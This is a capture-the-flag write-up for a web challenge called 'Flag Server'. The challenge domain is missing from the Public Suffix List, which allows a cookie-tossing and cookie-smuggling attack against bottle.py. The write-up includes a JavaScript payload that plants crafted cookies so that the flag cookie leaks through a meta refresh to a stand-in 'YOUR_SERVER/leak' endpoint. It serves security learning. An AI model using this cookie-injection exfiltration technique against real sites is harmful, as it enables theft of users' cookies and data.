Flag Server

Flag Server

• Round: 43 (2024/03)
• Category: Web
• Points: 150
• Solves: 3

Description

On this website, you can set your own flag and read it for free!

http://flag.1337.cx/

Solution

By using whois, you can find 1337.cx is a domain of afraid.org, a free dns and subdomain provider that everyone can use. Combined with the fact that 1337.cx is not in public suffix list, owning another subdomain allows you to have a Same-Site access to flag.1337.cx.

BTW, there is also some relevant issue about whether those domain should belong to PSL.

So now you are able to override cookie flag on domain 1337.cx and thus control the reponse, you still can't XSS due to the strict CSP. The intended way is to do a cookie smuggling on bottle.py to control the prefix and suffix of flag, and leak the flag using meta redirect.

<script>
	document.cookie = 'flag="start <meta http-equiv=refresh content=\'0 ; domain=1337.cx; path=/aa' // start
	document.cookie = 'url=https://YOUR_SERVER/leak? ; domain=1337.cx; path=/aa' // mid
	document.cookie = 'z=\'> end" ; domain=1337.cx;' // end
	location = 'http://flag.1337.cx/aa'
</script>

And the response would be:

start <meta http-equiv=refresh content='0; url=https://YOUR_SERVER/leak?; flag=REAL_FLAG_HERE; z='> end

One of the problem is that you can't insert ; in your response (needed by meta refresh) becuase that is how cookie are split, so I avoided that by adding another cookie key url and let the browset to add ; for me. Another way is to use octal encoding like \073, and this is used by two people who solved this :D